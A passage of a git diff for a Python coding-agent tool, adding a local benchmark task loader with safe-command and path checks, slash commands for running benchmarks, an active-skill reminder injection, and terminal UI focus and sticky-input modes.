_is_safe_verification_command(command: str) -> bool: + try: + tokens = shlex.split(command) + except ValueError: + return False + if len(tokens) < 3: + return False + if tokens[:3] not in (["python", "-m", "pytest"], ["python", "-m", "unittest"]): + return False + return not any(_has_shell_metachar(token) for token in tokens) + + +def _has_shell_metachar(token: str) -> bool: + return any(ch in token for ch in ";&|`$<>\n\r") + + +def _string_list(value: object) -> list[str]: + if not isinstance(value, list): + return [] + return [item for item in cast(list[object], value) if isinstance(item, str)] + + +def _positive_int(value: object, *, default: int) -> int: + return value if isinstance(value, int) and value > 0 else default + + +def _prompt(instance: SweBenchmarkInstance) -> str: + fail_to_pass = "\n".join(f"- {test}" for test in instance.fail_to_pass) or "- (none)" + pass_to_pass = "\n".join(f"- {test}" for test in instance.pass_to_pass) or "- (none)" + return "\n".join( + [ + f"Resolve SWE-style local fixture instance {instance.instance_id}.", + "", + "This is an offline local workspace fixture, not a full SWE-bench Docker run.", + "", + f"Repository: {instance.repo}", + f"Base commit: {instance.base_commit}", + "", + "Problem statement:", + instance.problem_statement, + "", + "FAIL_TO_PASS tests:", + fail_to_pass, + "", + "PASS_TO_PASS tests:", + pass_to_pass, + ] + ) diff --git a/src/pythinker_code/benchmark/tasks.py b/src/pythinker_code/benchmark/tasks.py new file mode 100644 index 00000000..d42f9d3d --- /dev/null +++ b/src/pythinker_code/benchmark/tasks.py @@ -0,0 +1,186 @@ +from __future__ import annotations + +import json +from dataclasses import dataclass +from importlib import resources +from pathlib import Path +from typing import Any, cast + +from pythinker_code.benchmark.errors import ( + MalformedBenchmarkTaskError, + UnknownBenchmarkTaskError, +) + + +@dataclass(frozen=True, slots=True) +class BenchmarkWorkspace: + files: dict[str, str] + + +@dataclass(frozen=True, slots=True) +class BenchmarkVerification: + type: str + command: str + + +@dataclass(frozen=True, slots=True) +class BenchmarkLimits: + timeout_seconds: int + max_steps: int + + +@dataclass(frozen=True, slots=True) +class BenchmarkTask: + id: str + title: str + description: str + prompt: str + workspace: BenchmarkWorkspace + verification: BenchmarkVerification + limits: BenchmarkLimits + tags: list[str] + + +class WorkspaceFileError(ValueError): + pass + + +def _bundled_tasks_root() -> Path: + return Path(str(resources.files("pythinker_code.benchmark.bundled.tasks"))) + + +def list_task_ids(task_root: Path | None = None) -> list[str]: + root = task_root or _bundled_tasks_root() + return sorted(path.stem for path in root.glob("*.json")) + + +def load_task(task_id: str, *, task_root: Path | None = None) -> BenchmarkTask: + root = task_root or _bundled_tasks_root() + path = root / f"{task_id}.json" + if not path.exists(): + raise UnknownBenchmarkTaskError(f"Unknown benchmark task: {task_id}") + try: + raw: object = json.loads(path.read_text(encoding="utf-8")) + except json.JSONDecodeError as exc: + raise MalformedBenchmarkTaskError(f"Malformed benchmark task JSON: {task_id}") from exc + if not isinstance(raw, dict): + raise MalformedBenchmarkTaskError(f"Benchmark task must be an object: {task_id}") + return _parse_task(cast(dict[str, object], raw), task_id) + + +def _parse_task(raw: dict[str, object], task_id: str) -> BenchmarkTask: + required = ("id", "title", "description", "prompt", "workspace", "verification", "limits") + missing = [key for key in required if key not in raw] + if missing: + raise MalformedBenchmarkTaskError( + f"Benchmark task {task_id!r} missing required fields: {', '.join(missing)}" + ) + + id_value = raw["id"] + title = raw["title"] + description = raw["description"] + prompt = raw["prompt"] + workspace = raw["workspace"] + verification = raw["verification"] + limits = raw["limits"] + tags = raw.get("tags", []) + + if not ( + isinstance(id_value, str) + and id_value + and isinstance(title, str) + and title + and isinstance(prompt, str) + and prompt + ): + raise MalformedBenchmarkTaskError(f"Benchmark task {task_id!r} has invalid text fields") + if id_value != task_id: + raise MalformedBenchmarkTaskError( + f"Benchmark task file {task_id!r} contains mismatched id {id_value!r}" + ) + if not isinstance(description, str): + raise MalformedBenchmarkTaskError(f"Benchmark task {task_id!r} has invalid description") + if not isinstance(workspace, dict): + raise MalformedBenchmarkTaskError(f"Benchmark task {task_id!r} has invalid workspace") + workspace_data = cast(dict[str, object], workspace) + files = workspace_data.get("files") + try: + parsed_files = parse_workspace_files(files) + except WorkspaceFileError as exc: + raise MalformedBenchmarkTaskError(f"Benchmark task {task_id!r} {exc}") from exc + + parsed_verification = _parse_verification(verification, task_id) + parsed_limits = _parse_limits(limits, task_id) + parsed_tags = ( + [tag for tag in cast(list[object], tags) if isinstance(tag, str)] + if isinstance(tags, list) + else [] + ) + return BenchmarkTask( + id=id_value, + title=title, + description=description, + prompt=prompt, + workspace=BenchmarkWorkspace(files=parsed_files), + verification=parsed_verification, + limits=parsed_limits, + tags=parsed_tags, + ) + + +def _parse_verification(value: object, task_id: str) -> BenchmarkVerification: + if not isinstance(value, dict): + raise MalformedBenchmarkTaskError(f"Benchmark task {task_id!r} has invalid verification") + data = cast(dict[str, object], value) + typ = data.get("type") + command = data.get("command") + if typ != "command" or not isinstance(command, str) or not command: + raise MalformedBenchmarkTaskError( + f"Benchmark task {task_id!r} verification must be a command" + ) + return BenchmarkVerification(type="command", command=command) + + +def parse_workspace_files(files: object) -> dict[str, str]: + if not isinstance(files, dict) or not files: + raise WorkspaceFileError("workspace.files must be non-empty") + parsed_files: dict[str, str] = {} + for name, content in cast(dict[object, object], files).items(): + if ( + not isinstance(name, str) + or not name + or name.startswith("/") + or ".." in Path(name).parts + ): + raise WorkspaceFileError("has unsafe workspace path") + if not isinstance(content, str): + raise WorkspaceFileError(f"file {name!r} content must be text") + parsed_files[name] = content + return parsed_files + + +def _positive_int(mapping: dict[str, Any], key: str, task_id: str) -> int: + value = mapping.get(key) + if not isinstance(value, int) or value < 1: + raise MalformedBenchmarkTaskError( + f"Benchmark task {task_id!r} limit {key!r} must be a positive integer" + ) + return value + + +def _parse_limits(value: object, task_id: str) -> BenchmarkLimits: + if not isinstance(value, dict): + raise MalformedBenchmarkTaskError(f"Benchmark task {task_id!r} has invalid limits") + data = cast(dict[str, Any], value) + return BenchmarkLimits( + timeout_seconds=_positive_int(data, "timeout_seconds", task_id), + max_steps=_positive_int(data, "max_steps", task_id), + ) + + +def materialize_workspace(task: BenchmarkTask, workspace: Path) -> None: + workspace.mkdir(parents=True, exist_ok=True) + for name, content in task.workspace.files.items(): + path = workspace / name + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(content, encoding="utf-8") diff --git a/src/pythinker_code/benchmark/types.py b/src/pythinker_code/benchmark/types.py new file mode 100644 index 00000000..09cf69f0 --- /dev/null +++ b/src/pythinker_code/benchmark/types.py @@ -0,0 +1,11 @@ +from __future__ import annotations + +from dataclasses import dataclass + +JsonObject = dict[str, object] + + +@dataclass(frozen=True, slots=True) +class BenchmarkReportRow: + run: JsonObject + summary: JsonObject diff --git a/src/pythinker_code/config.py b/src/pythinker_code/config.py index e2426b47..dd52c126 100644 --- a/src/pythinker_code/config.py +++ b/src/pythinker_code/config.py @@ -983,6 +983,14 @@ class TUIConfig(BaseModel): "Off by default; enable with `/config recaps on`." ), ) + sticky_input: bool = Field( + default=True, + description=( + "Keep the prompt composer pinned to the bottom of the terminal while " + "an agent turn is running. Disable for terminals that mishandle " + "prompt_toolkit fullscreen rendering." + ), + ) code_theme: str = Field( default="catppuccin-adaptive", description=( @@ -1006,6 +1014,13 @@ class TUIConfig(BaseModel): "(bounded catch-up). Set false to reveal each delta immediately." ), ) + focus_mode: bool = Field( + default=False, + description=( + "Use the fullscreen Focus TUI during active agent turns. Focus TUI " + "owns the viewport to avoid terminal jump/fossilized prompt rows." + ), + ) @field_validator("code_theme") @classmethod diff --git a/src/pythinker_code/soul/dynamic_injections/active_skills.py b/src/pythinker_code/soul/dynamic_injections/active_skills.py new file mode 100644 index 00000000..42211f0c --- /dev/null +++ b/src/pythinker_code/soul/dynamic_injections/active_skills.py @@ -0,0 +1,131 @@ +from __future__ import annotations + +import re +from collections.abc import Sequence +from typing import TYPE_CHECKING + +from pythinker_core.message import Message, TextPart + +from pythinker_code.notifications import is_notification_message +from pythinker_code.soul.dynamic_injection import DynamicInjection, DynamicInjectionProvider +from pythinker_code.soul.message import is_system_reminder_message +from pythinker_code.utils.logging import logger + +if TYPE_CHECKING: + from pythinker_code.soul.pythinkersoul import PythinkerSoul + +_ACTIVE_SKILLS_INJECTION_TYPE = "active_skills" +_REMINDER_MARKER = "Active skill reminder:" +_CLEAR_ALL_PHRASES = ( + "normal mode", + "clear active skills", + "clear skill mode", + "stop skill mode", + "disable active skills", +) +_DEACTIVATE_VERBS = r"(?:stop|disable|deactivate|turn\s+off)" + + +class ActiveSkillInjectionProvider(DynamicInjectionProvider): + """Keep explicitly activated skills visible without reloading full skill bodies.""" + + async def get_injections( + self, + history: Sequence[Message], + soul: PythinkerSoul, + ) -> list[DynamicInjection]: + active_skills = list(soul.runtime.session.state.active_skills) + if not active_skills: + return [] + + latest_index = _latest_real_user_index(history) + latest_text = _message_text(history[latest_index]) if latest_index is not None else "" + active_skills, deactivated = _apply_deactivation_intent(latest_text, active_skills, soul) + if deactivated: + return [] + if not active_skills: + return [] + + if latest_index is not None and _has_active_skill_reminder_after(history, latest_index): + return [] + + return [ + DynamicInjection( + type=_ACTIVE_SKILLS_INJECTION_TYPE, + content=active_skill_reminder(active_skills), + ) + ] + + +def active_skill_reminder(active_skills: Sequence[str]) -> str: + names = ", ".join(f"`{name}`" for name in active_skills) + return ( + f"{_REMINDER_MARKER} explicitly activated skills remain in effect: {names}. " + "Continue applying their loaded instructions. Do not reload a skill unless " + "you need its exact details. If the user asks to stop or disable a named " + "active skill, or says normal mode, treat that as deactivation intent." + ) + + +def _apply_deactivation_intent( + text: str, + active_skills: list[str], + soul: PythinkerSoul, +) -> tuple[list[str], bool]: + if not text: + return active_skills, False + + folded = text.casefold() + if any(phrase in folded for phrase in _CLEAR_ALL_PHRASES): + remaining: list[str] = [] + else: + deactivated = { + skill.casefold() for skill in active_skills if _asks_to_deactivate_skill(folded, skill) + } + if not deactivated: + return active_skills, False + remaining = [skill for skill in active_skills if skill.casefold() not in deactivated] + + soul.runtime.session.state.active_skills = remaining + try: + soul.runtime.session.save_state() + except OSError: + logger.warning("Failed to persist active skill deactivation", exc_info=True) + raise + return remaining, True + + +def _asks_to_deactivate_skill(folded_text: str, skill_name: str) -> bool: + escaped_name = re.escape(skill_name.casefold()) + return bool( + re.search( + rf"(? int | None: + for index in range(len(history) - 1, -1, -1): + message = history[index] + if message.role != "user": + continue + if is_notification_message(message) or is_system_reminder_message(message): + continue + if _message_text(message).strip(): + return index + return None + + +def _message_text(message: Message) -> str: + return " ".join(part.text for part in message.content if isinstance(part, TextPart)) + + +def _has_active_skill_reminder_after(history: Sequence[Message], index: int) -> bool: + for message in history[index + 1 :]: + if message.role != "user": + continue + for part in message.content: + if isinstance(part, TextPart) and _REMINDER_MARKER in part.text: + return True + return False diff --git a/src/pythinker_code/soul/pythinkersoul.py b/src/pythinker_code/soul/pythinkersoul.py index ea65f1ff..4d05c41f 100644 --- a/src/pythinker_code/soul/pythinkersoul.py +++ b/src/pythinker_code/soul/pythinkersoul.py @@ -87,6 +87,7 @@ injection_budget_from_runtime, normalize_history, ) +from pythinker_code.soul.dynamic_injections.active_skills import ActiveSkillInjectionProvider from pythinker_code.soul.dynamic_injections.agent_list import AgentListInjectionProvider from pythinker_code.soul.dynamic_injections.auto_mode import AutoModeInjectionProvider from pythinker_code.soul.dynamic_injections.git_status import GitStatusInjectionProvider @@ -565,6 +566,9 @@ def __init__( # Self-filtering: root-only; flags inline /command references in the # latest user message that the shell could not have executed. InlineCommandReminderProvider(), + # Self-filtering: keeps explicitly invoked skills active across turns + # without repasting full skill bodies into every prompt. + ActiveSkillInjectionProvider(), # Self-filtering: root-only; nudges substantial normal-mode tasks toward # direct tools, todos, RunAgents, and verification. OrchestrationInjectionProvider(), diff --git a/src/pythinker_code/soul/slash.py b/src/pythinker_code/soul/slash.py index f4b4febc..904ea951 100644 --- a/src/pythinker_code/soul/slash.py +++ b/src/pythinker_code/soul/slash.py @@ -382,6 +382,81 @@ async def best_practices(soul: PythinkerSoul, args: str): ) +@registry.command +async def benchmark(soul: PythinkerSoul, args: str) -> None: + """ + Run native Pythinker Benchmark tasks. + Usage: /benchmark + """ + await _benchmark_dispatch(soul, args) + + +@registry.command(name="benchmark:start") +async def benchmark_start(soul: PythinkerSoul, args: str) -> None: + """Start Pythinker Benchmark. Usage: /benchmark:start [--task | --suite ]""" + await _benchmark_dispatch(soul, _join_benchmark_args("start", args)) + + +@registry.command(name="benchmark:all") +async def benchmark_all(soul: PythinkerSoul, args: str) -> None: + """Run the default Pythinker Benchmark suite. Usage: /benchmark:all""" + await _benchmark_dispatch(soul, _join_benchmark_args("start", args)) + + +@registry.command(name="benchmark:estimate") +async def benchmark_estimate(soul: PythinkerSoul, args: str) -> None: + """Estimate Pythinker Benchmark. Usage: /benchmark:estimate [--task | --suite ]""" + await _benchmark_dispatch(soul, _join_benchmark_args("estimate", args)) + + +@registry.command(name="benchmark:list") +async def benchmark_list(soul: PythinkerSoul, args: str) -> None: + """List Pythinker Benchmark tasks and suites. Usage: /benchmark:list""" + await _benchmark_dispatch(soul, _join_benchmark_args("list", args)) + + +@registry.command(name="benchmark:show") +async def benchmark_show(soul: PythinkerSoul, args: str) -> None: + """Show a Pythinker Benchmark run. Usage: /benchmark:show """ + await _benchmark_dispatch(soul, _join_benchmark_args("show", args)) + + +@registry.command(name="benchmark:report") +async def benchmark_report(soul: PythinkerSoul, args: str) -> None: + """Show Pythinker Benchmark report index. Usage: /benchmark:report [--suite ]""" + await _benchmark_dispatch(soul, _join_benchmark_args("report", args)) + + +@registry.command(name="benchmark:compare") +async def benchmark_compare(soul: PythinkerSoul, args: str) -> None: + """Compare Pythinker Benchmark models. Usage: /benchmark:compare --models """ + await _benchmark_dispatch(soul, _join_benchmark_args("compare", args)) + + +@registry.command(name="benchmark:swe") +async def benchmark_swe(soul: PythinkerSoul, args: str) -> None: + """Run trusted SWE-style local fixture benchmark tasks. + + Usage: /benchmark:swe --dataset --trusted-dataset true + """ + await _benchmark_dispatch(soul, _join_benchmark_args("swe", args)) + + +async def _benchmark_dispatch(soul: PythinkerSoul, args: str) -> None: + from pythinker_code.benchmark.commands import benchmark_usage, dispatch_benchmark + from pythinker_code.benchmark.errors import BenchmarkError + + try: + text = await dispatch_benchmark(soul, args) + except BenchmarkError as exc: + text = str(exc) or benchmark_usage() + wire_send(TextPart(text=text)) + + +def _join_benchmark_args(subcommand: str, args: str) -> str: + return f"{subcommand} {args}".strip() + + def _best_practices_headings() -> list[str]: return [ line.removeprefix("## ").strip() diff --git a/src/pythinker_code/ui/shell/__init__.py b/src/pythinker_code/ui/shell/__init__.py index c28de8cf..a346ce30 100644 --- a/src/pythinker_code/ui/shell/__init__.py +++ b/src/pythinker_code/ui/shell/__init__.py @@ -961,6 +961,11 @@ def _bg_task_counts() -> BgTaskCounts: if isinstance(self.soul, PythinkerSoul) else True ), + sticky_input=( + self.soul.runtime.config.tui.sticky_input + if isinstance(self.soul, PythinkerSoul) + else True + ), statusline_config=( self.soul.runtime.config.tui.statusline if isinstance(self.soul, PythinkerSoul) @@ -1387,6 +1392,17 @@ async def run_soul_command(self, user_input: str | list[ContentPart]) -> bool: """ logger.info("Running soul with user input: {user_input}", user_input=user_input) + # Collapse the input card before the running-prompt delegate attaches, so + # a repaint in that gap cannot fossilize the card chrome above the stream + # (see CustomPromptSession.mark_turn_starting / _input_card_hidden_pre_stream). + # Set here β€” the single funnel for every dispatch path β€” rather than at + # each call site: this runs synchronously on coroutine entry, before the + # first await lets the just-resumed prompt task repaint. Cleared in this + # method's finally and on delegate attach/detach. + prompt_session = self._prompt_session + if prompt_session is not None: + prompt_session.mark_turn_starting() + cancel_event = asyncio.Event() def _handler(): @@ -1409,6 +1425,7 @@ def _handler(): runtime = self.soul.runtime if isinstance(self.soul, PythinkerSoul) else None show_thinking_stream = runtime.config.show_thinking_stream if runtime else False show_turn_recaps = runtime.config.tui.turn_recaps if runtime else False + focus_mode = runtime.config.tui.focus_mode if runtime else False # Capture view reference via closure β€” _clear_active_view sets # _active_view=None inside visualize()'s finally (before run_soul # returns), so we must capture the view object independently. @@ -1443,6 +1460,7 @@ def _on_view_ready(view: Any) -> None: on_view_closed=self._clear_active_view, show_thinking_stream=show_thinking_stream, show_turn_recaps=show_turn_recaps, + focus_mode=focus_mode, ), cancel_event, runtime.session.wire_file if runtime else None, @@ -1475,6 +1493,8 @@ def _on_view_ready(view: Any) -> None: break queued = pending.pop(0) console.print(render_user_echo_text(queued.resolved_command)) + if prompt_session is not None: + prompt_session.mark_turn_starting() if runtime is not None: runtime.background_tasks.begin_turn() await run_soul( @@ -1499,6 +1519,7 @@ def _on_view_ready(view: Any) -> None: on_view_closed=self._clear_active_view, show_thinking_stream=show_thinking_stream, show_turn_recaps=show_turn_recaps, + focus_mode=focus_mode, ), cancel_event, runtime.session.wire_file if runtime else None, @@ -1688,6 +1709,11 @@ def _on_view_ready(view: Any) -> None: ) raise # re-raise unknown error finally: + # Belt-and-suspenders: clear the turn-starting hint in case the turn + # errored before the delegate attached (detach clears it on the + # normal path). A stale hint would leave the idle prompt collapsed. + if prompt_session is not None: + prompt_session.clear_turn_starting() # Clean up btw modal if it's still attached (exception skipped wait_for_btw_dismiss) if captured_view is not None: captured_view._dismiss_btw() # pyright: ignore[reportPrivateUsage] diff --git a/src/pythinker_code/ui/shell/focus_model.py b/src/pythinker_code/ui/shell/focus_model.py new file mode 100644 index 00000000..5231d8ab --- /dev/null +++ b/src/pythinker_code/ui/shell/focus_model.py @@ -0,0 +1,105 @@ +from __future__ import annotations + +from dataclasses import dataclass +from typing import Literal + +from pythinker_code.ui.shell.components.render_utils import truncate_to_width + +FileActivityStatus = Literal["writing", "updated", "failed"] + + +@dataclass(slots=True) +class TranscriptRow: + kind: str + title: str + detail: str = "" + expandable: bool = False + done: bool = False + + +@dataclass(slots=True) +class FileActivity: + path: str + status: FileActivityStatus + + +class FocusTuiModel: + def __init__(self) -> None: + self.prompt = "" + self.file_shelf_open = False + self._rows: dict[str, TranscriptRow] = {} + self._row_order: list[str] = [] + self._files: dict[str, FileActivityStatus] = {} + self._file_order: list[str] = [] + + def begin_turn(self, prompt: str) -> None: + self.prompt = prompt + self.file_shelf_open = False + self._rows.clear() + self._row_order.clear() + self._files.clear() + self._file_order.clear() + + def append_tool_row( + self, + tool_id: str, + title: str, + detail: str = "", + expandable: bool = False, + ) -> None: + if tool_id not in self._rows: + self._row_order.append(tool_id) + self._rows[tool_id] = TranscriptRow( + kind="tool", + title=title, + detail=detail, + expandable=expandable, + ) + + def update_tool_row( + self, + tool_id: str, + *, + detail: str | None = None, + done: bool | None = None, + ) -> None: + row = self._rows.get(tool_id) + if row is None: + return + if detail is not None: + row.detail = detail + if done is not None: + row.done = done + + def mark_file(self, path: str, status: FileActivityStatus) -> None: + clean = path.strip() + if not clean: + return + if clean not in self._files: + self._file_order.append(clean) + self._files[clean] = status + + def toggle_files(self) -> None: + self.file_shelf_open = not self.file_shelf_open + + def visible_file_count(self) -> int: + return len(self._files) + + def render_rows(self, width: int) -> list[str]: + rows: list[str] = [] + for row_id in self._row_order[-12:]: + row = self._rows[row_id] + suffix = " ctrl+o" if row.expandable else "" + detail = f" {row.detail}" if row.detail else "" + rows.append(truncate_to_width(f"⏺ {row.title}{detail}{suffix}", width)) + if self.file_shelf_open and self._file_order: + rows.append("Files") + visible = self._file_order[-5:] + hidden = len(self._file_order) - len(visible) + for path in visible: + rows.append(truncate_to_width(f" βœ“ {self._files[path]} {path}", width)) + if hidden > 0: + rows.append(f" +{hidden} more") + elif self._file_order: + rows.append(f"files: {len(self._file_order)}") + return rows diff --git a/src/pythinker_code/ui/shell/focus_surface.py b/src/pythinker_code/ui/shell/focus_surface.py new file mode 100644 index 00000000..47f3cea2 --- /dev/null +++ b/src/pythinker_code/ui/shell/focus_surface.py @@ -0,0 +1,94 @@ +from __future__ import annotations + +from typing import Protocol + +from prompt_toolkit.application import Application +from prompt_toolkit.formatted_text import AnyFormattedText, FormattedText +from prompt_toolkit.key_binding import KeyBindings +from prompt_toolkit.key_binding.key_processor import KeyPressEvent +from prompt_toolkit.layout.containers import HSplit, Window +from prompt_toolkit.layout.controls import FormattedTextControl +from prompt_toolkit.layout.layout import Layout + +from pythinker_code.ui.shell.focus_model import FocusTuiModel + + +class _KeyDelegate(Protocol): + def should_handle_running_prompt_key(self, key: str) -> bool: + raise NotImplementedError + + def handle_running_prompt_key(self, key: str, event: KeyPressEvent) -> None: + raise NotImplementedError + + +class FocusTuiSurface: + modal_priority = 1 + + def __init__(self, model: FocusTuiModel, *, delegate: _KeyDelegate | None = None) -> None: + self.model = model + self._delegate = delegate + self._app: Application[str] | None = None + + def renderer_text(self, width: int) -> str: + body = "\n".join(self.model.render_rows(width)) + footer = f"model Β· cwd Β· ctx Β· files: {self.model.visible_file_count()}" + return f"{body}\n────────────────\n❯\n{footer}" + + def _render_width(self) -> int: + if self._app is None: + return 80 + return max(20, self._app.output.get_size().columns) + + def toggle_files(self) -> None: + self.model.toggle_files() + self.invalidate() + + def invalidate(self) -> None: + if self._app is not None: + self._app.invalidate() + + def render_running_prompt_body(self, columns: int) -> AnyFormattedText: + return FormattedText([("", self.renderer_text(columns))]) + + def running_prompt_placeholder(self) -> AnyFormattedText | None: + return None + + def running_prompt_allows_text_input(self) -> bool: + return True + + def running_prompt_hides_input_buffer(self) -> bool: + return False + + def running_prompt_accepts_submission(self) -> bool: + return True + + def should_handle_running_prompt_key(self, key: str) -> bool: + return key == "c-f" or bool( + self._delegate is not None and self._delegate.should_handle_running_prompt_key(key) + ) + + def handle_running_prompt_key(self, key: str, event: KeyPressEvent) -> None: + if key == "c-f": + self.toggle_files() + return + if self._delegate is not None: + self._delegate.handle_running_prompt_key(key, event) + + def create_application(self) -> Application[str]: + kb = KeyBindings() + + @kb.add("c-f", eager=True) + def _toggle_files(event: KeyPressEvent) -> None: # pyright: ignore[reportUnusedFunction] + self.toggle_files() + event.app.invalidate() + + control = FormattedTextControl( + lambda: FormattedText([("", self.renderer_text(self._render_width()))]) + ) + app: Application[str] = Application( + layout=Layout(HSplit([Window(content=control, wrap_lines=False)])), + key_bindings=kb, + full_screen=True, + ) + self._app = app + return app diff --git a/src/pythinker_code/ui/shell/prompt.py b/src/pythinker_code/ui/shell/prompt.py index 44268255..27f51607 100644 --- a/src/pythinker_code/ui/shell/prompt.py +++ b/src/pythinker_code/ui/shell/prompt.py @@ -2284,6 +2284,7 @@ def __init__( thinking_effort_cycle_callback: Callable[[], Awaitable[str | None]] | None = None, history_enabled: bool = True, statusline_config: StatusLineConfig | None = None, + sticky_input: bool = True, ) -> None: from pythinker_code.ui.shell.statusline import ( RateSampler, @@ -2340,6 +2341,15 @@ def __init__( self._input_activity_event: asyncio.Event = asyncio.Event() self._running_prompt_previous_mode: PromptMode | None = None self._running_prompt_delegate: RunningPromptDelegate | None = None + # Set by the shell the instant an agent turn is dispatched, before the + # running-prompt delegate attaches. Bridges the race where the prompt is + # resumed (and can repaint the input card) before the delegate exists β€” + # without it, the pre-attach frame paints the card chrome that then + # fossilizes above the stream. Cleared on attach/detach. See + # _input_card_hidden_pre_stream. + self._turn_starting: bool = False + self._sticky_input = sticky_input + self._previous_full_screen: bool | None = None self._latest_todos: tuple[TodoDisplayItem, ...] = () self._modal_delegates: list[RunningPromptDelegate] = [] self._shortcut_help_open = False @@ -2989,7 +2999,7 @@ def _prompt_separator_style(self, fallback: str) -> str: # (see _effort_label_fragments) rather than recoloring the whole bar. return "class:compact-input.frame" - def _effort_label_fragments(self) -> list[tuple[str, str]]: + def _effort_label_fragments(self) -> StyleAndTextTuples: """Dot + level label shown at the right end of the input's top border. Returns ``[]`` when there is no effort to choose: non-AGENT modes, @@ -3007,7 +3017,7 @@ def _effort_label_fragments(self) -> list[tuple[str, str]]: ("class:compact-input.effort", level), ] - def _render_input_top_border(self, columns: int, fallback: str) -> list[tuple[str, str]]: + def _render_input_top_border(self, columns: int, fallback: str) -> StyleAndTextTuples: """Static-grey top border for the input card, effort label flushed right. The rule is shortened by the measured label width so the line never @@ -3019,7 +3029,7 @@ def _render_input_top_border(self, columns: int, fallback: str) -> list[tuple[st if not label: return [(border_style, rule)] gap = 2 - label_width = sum(get_cwidth(ch) for _, text in label for ch in text) + label_width = sum(get_cwidth(ch) for fragment in label for ch in fragment[1]) if len(rule) <= gap + label_width: # Too narrow for the label plus its gap; a flushed-right label here # would overflow and wrap, so fall back to the plain full-width rule. @@ -3158,7 +3168,27 @@ def _apply_mode(self, event: KeyPressEvent | None = None) -> None: def _sync_erase_when_done(self) -> None: app = getattr(self._session, "app", None) if app is not None: - app.erase_when_done = self._mode == PromptMode.AGENT + app.erase_when_done = getattr( + self, "_mode", PromptMode.AGENT + ) == PromptMode.AGENT and not getattr(app, "full_screen", False) + + def _set_running_fullscreen(self, active: bool) -> None: + if not getattr(self, "_sticky_input", True): + return + app = getattr(getattr(self, "_session", None), "app", None) + if app is None: + return + if active: + if getattr(self, "_previous_full_screen", None) is None: + self._previous_full_screen = bool(getattr(app, "full_screen", False)) + app.full_screen = True + self._sync_erase_when_done() + return + previous = getattr(self, "_previous_full_screen", None) + self._previous_full_screen = None + if previous is not None: + app.full_screen = previous + self._sync_erase_when_done() def _active_modal_delegate(self) -> RunningPromptDelegate | None: modal_delegates = getattr(self, "_modal_delegates", []) @@ -3185,8 +3215,43 @@ def _active_ui_state(self) -> PromptUIState: return PromptUIState.MODAL_TEXT_INPUT return PromptUIState.NORMAL_INPUT + def _input_card_hidden_pre_stream(self) -> bool: + """Gate the empty pre-stream input surface until the first commit. + + Most running frames keep the input card visible. The only exception is + the first transition into committed scrollback: prompt_toolkit can + otherwise fossilize the card above the stream. Once that first commit + establishes the stream geometry, the card repaints below the stream. + Skipped when the user has typed (non-empty buffer) or a modal owns the + input line. + """ + if self._active_modal_delegate() is not None: + return False + # Direct attribute access (not getattr-with-default): these are set in + # __init__, so an init regression should fail loudly, not silently drop + # the input guard and re-introduce the ghost. The delegate method stays a + # getattr: it is an optional RunningPromptDelegate extension only the + # live view implements. + if self._turn_starting: + hide = True + else: + delegate = self._running_prompt_delegate + hide = ( + delegate is not None + and getattr(delegate, "running_prompt_hide_input_card", lambda: False)() + ) + if not hide: + return False + return not self._session.default_buffer.text + def _should_render_input_buffer(self) -> bool: - return self._active_ui_state() != PromptUIState.MODAL_HIDDEN_INPUT + if self._active_ui_state() == PromptUIState.MODAL_HIDDEN_INPUT: + return False + # Before the running-prompt delegate attaches, there is no pinned spinner + # frame to own the geometry; hiding this window prevents the prompt row + # from fossilizing above the spinner. After attach, keep it visible + # because prompt_toolkit renders the ❯ marker in this buffer window. + return not (self._turn_starting and not self._session.default_buffer.text) def _should_handle_running_prompt_key(self, key: str) -> bool: delegate = self._active_prompt_delegate() @@ -3275,6 +3340,79 @@ def _render_agent_prompt_message(self) -> FormattedText: fragments.extend(self._render_shortcut_help(columns)) ensure_prompt_newline(fragments) + running_prompt_delegate = getattr(self, "_running_prompt_delegate", None) + if not modal_active and running_prompt_delegate is not None and is_card_style(): + input_card_hidden = self._input_card_hidden_pre_stream() + render_running_body_attr = getattr( + running_prompt_delegate, "render_running_prompt_body", None + ) + render_running_body = ( + cast(Callable[[int], AnyFormattedText], render_running_body_attr) + if callable(render_running_body_attr) + else None + ) + running_body = ( + to_formatted_text(render_running_body(columns)) + if render_running_body is not None + else FormattedText() + ) + preamble = FormattedText() + if agent_status and any(text for _, text, *_ in agent_status): + preamble.extend(agent_status) + ensure_prompt_newline(preamble) + if running_body and any(text for _, text, *_ in running_body): + preamble.extend(running_body) + ensure_prompt_newline(preamble) + if (preamble and any(text for _, text, *_ in preamble)) or pinned_rows: + preamble = self._fit_preamble_with_pinned_tail( + preamble, + pinned, + columns, + max_rows, + ) + if preamble and any(text for _, text, *_ in preamble): + fragments.extend(preamble) + + if input_card_hidden: + hide_chrome = getattr( + running_prompt_delegate, + "running_prompt_hide_input_card_chrome", + lambda: False, + )() + if hide_chrome: + return fragments + + tc = get_toolbar_colors() + scene_fragments: FormattedText = FormattedText() + if fragments and any(text for _, text, *_ in fragments): + scene_fragments.extend(fragments) + ensure_prompt_newline(scene_fragments) + + render_placeholder_attr = getattr( + running_prompt_delegate, "running_prompt_placeholder", None + ) + render_placeholder = ( + cast(Callable[[], AnyFormattedText | None], render_placeholder_attr) + if callable(render_placeholder_attr) + else None + ) + placeholder_value: AnyFormattedText | None = ( + render_placeholder() + if not input_card_hidden and render_placeholder is not None + else FormattedText() + ) + placeholder_fragments = to_formatted_text(placeholder_value) + + scene_fragments.extend(self._render_input_top_border(columns, tc.separator)) + scene_fragments.append(("", "\n")) + scene_fragments.append(("", _card_side_indent())) + scene_fragments.append( + (self._thinking_prompt_prefix_style(), f"{PROMPT_SYMBOL_AGENT_INPUT} ") + ) + if placeholder_fragments: + scene_fragments.extend(placeholder_fragments) + return scene_fragments + if modal_active and body: status_budget = max(0, max_rows - body_rows - pinned_rows) if agent_status and status_budget > 0: @@ -3312,6 +3450,34 @@ def _render_agent_prompt_message(self) -> FormattedText: if modal_active: return fragments + # Hide editable input content during the narrow pre-stream/first-handoff + # frame, but keep the empty card chrome visible so the prompt bar does not + # disappear while the agent is loading. + if self._input_card_hidden_pre_stream(): + running_prompt_delegate = getattr(self, "_running_prompt_delegate", None) + hide_chrome = ( + running_prompt_delegate is not None + and getattr( + running_prompt_delegate, + "running_prompt_hide_input_card_chrome", + lambda: False, + )() + ) + if hide_chrome: + return fragments + if is_card_style(): + ensure_prompt_newline(fragments) + tc = get_toolbar_colors() + fragments.extend(self._render_input_top_border(columns, tc.separator)) + fragments.append(("", "\n")) + fragments.append(("", _card_side_indent())) + else: + fragments.append(("", "\n")) + fragments.append( + 